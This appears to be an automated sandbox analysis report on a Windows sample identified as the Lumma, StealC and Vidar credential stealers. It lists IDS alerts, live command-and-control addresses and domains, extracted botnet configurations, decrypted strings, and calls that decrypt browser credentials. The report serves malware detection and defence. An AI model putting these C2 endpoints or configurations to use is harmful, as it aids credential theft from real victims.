2024-09-26T19:05:28.085682+0200	2056162	1	Domain Observed Used for C2 Detected	192.168.2.4	59963	1.1.1.1	53	UDP
2024-09-26T19:05:29.203126+0200	2056162	1	Domain Observed Used for C2 Detected	192.168.2.4	59963	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:30.349209+0200	2056164	1	Domain Observed Used for C2 Detected	192.168.2.4	58800	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:32.340574+0200	2056160	1	Domain Observed Used for C2 Detected	192.168.2.4	51917	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:38.011339+0200	2056150	1	Domain Observed Used for C2 Detected	192.168.2.4	63300	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:37.036677+0200	2056152	1	Domain Observed Used for C2 Detected	192.168.2.4	50252	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:33.280678+0200	2056158	1	Domain Observed Used for C2 Detected	192.168.2.4	55609	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:09.610255+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	49735	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:09.600392+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49735	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:09.798013+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49735	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:10.247000+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49735	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:09.808866+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	49735	TCP
2024-09-26T19:05:53.787255+0200	2044247	1	Malware Command and Control Activity Detected	5.75.211.162	443	192.168.2.4	59747	TCP
2024-09-26T19:07:00.126301+0200	2044247	1	Malware Command and Control Activity Detected	5.75.211.162	443	192.168.2.4	59789	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:55.202307+0200	2051831	1	Malware Command and Control Activity Detected	5.75.211.162	443	192.168.2.4	59748	TCP
2024-09-26T19:07:01.535304+0200	2051831	1	Malware Command and Control Activity Detected	5.75.211.162	443	192.168.2.4	59790	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:55.201743+0200	2049087	1	A Network Trojan was detected	192.168.2.4	59748	5.75.211.162	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:09.401137+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49735	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:10.426072+0200	2803304	3	Unknown Traffic	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:15.671700+0200	2803304	3	Unknown Traffic	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:16.562805+0200	2803304	3	Unknown Traffic	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:17.172453+0200	2803304	3	Unknown Traffic	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:17.701103+0200	2803304	3	Unknown Traffic	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:19.418863+0200	2803304	3	Unknown Traffic	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:19.909822+0200	2803304	3	Unknown Traffic	192.168.2.4	49735	46.8.231.109	80	TCP
2024-09-26T19:05:22.918962+0200	2803304	3	Unknown Traffic	192.168.2.4	49736	172.105.54.160	443	TCP
2024-09-26T19:05:25.922865+0200	2803304	3	Unknown Traffic	192.168.2.4	49737	172.105.54.160	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:06:27.897975+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	59768	172.105.54.160	443	TCP
2024-09-26T19:06:32.331144+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	59772	172.105.54.160	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware
Source: stogeneratmns.shop	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllG	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dllM?	Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api	Avira URL Cloud: Label: malware
Source: https://5.75.211.162/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: https://5.75.211.162/softokn3.dll#	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	Avira URL Cloud: Label: malware
Source: fragnantbui.shop	Avira URL Cloud: Label: malware
Source: offensivedzvju.shop	Avira URL Cloud: Label: malware
Source: https://5.75.211.162/freebl3.dllF	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/7	Avira URL Cloud: Label: malware
Source: https://stogeneratmns.shop/apiU	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199780418869/inventory/	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/%	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199780418869	Avira URL Cloud: Label: malware
Source: https://5.75.211.162/mozglue.dllM	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.php32	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	Avira URL Cloud: Label: malware
Source: https://5.75.211.162/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllm	Avira URL Cloud: Label: malware
Source: https://5.75.211.162/freebl3.dlls	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dllh	Avira URL Cloud: Label: malware
Source: https://stogeneratmns.shop/api	Avira URL Cloud: Label: malware
Source: https://ghostreedmnu.shop/api	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	Avira URL Cloud: Label: malware
Source: https://5.75.211.162/	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.php=2%	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.php	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpY	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpp	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "e90840a846d017e7b095f7543cdf2d15"}
Source: 2.2.RegAsm.exe.400000.1.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 15.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["reinforcenh.shop", "vozmeatillu.shop", "stogeneratmns.shop", "drawzhotdog.shop", "ghostreedmnu.shop", "fragnantbui.shop", "offensivedzvju.shop", "gutterydhowi.shop"], "Build id": "H8NgCl--"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: reinforcenh.shop
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: stogeneratmns.shop
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fragnantbui.shop
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: drawzhotdog.shop
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: vozmeatillu.shop
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: offensivedzvju.shop
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ghostreedmnu.shop
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: gutterydhowi.shop
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ghostreedmnu.shop
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	2_2_00409B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	2_2_0040C820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	2_2_00407240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00409AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	2_2_00418EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C266C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6C266C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3BA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	2_2_6C3BA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	8_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	8_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	8_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,_memmove,lstrcatA,lstrcatA,	8_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F886C80 CryptQueryObject,CryptMsgGetParam,CryptMsgGetParam,CertFindCertificateInStore,CertGetNameStringW,CertGetNameStringW,CertFreeCRLContext,CryptMsgClose,CertCloseStore,CryptQueryObject,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,GetLastError,CryptBinaryToStringW,GetLastError,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	8_2_6F886C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.105.54.160:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.4:59733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:59735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.4:59737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.4:59740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:59741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.13:443 -> 192.168.2.4:59742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:59743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.4:59744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.105.54.160:443 -> 192.168.2.4:59768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.4:59771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:59775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.4:59779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.4:59782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:59783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.13:443 -> 192.168.2.4:59784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:59785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:59785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.4:59786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.4:59788 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000008.00000002.2678059158.000000006F8F5000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\rje\tg\obj\Release\ojc.pdb source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000008.00000002.2662426483.000000003A886000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000008.00000002.2655574798.000000002E9A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000008.00000002.2678059158.000000006F8F5000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	2_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	2_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	8_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	8_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	8_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	8_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	8_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	8_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	8_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	8_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	8_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	8_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	8_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

8_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
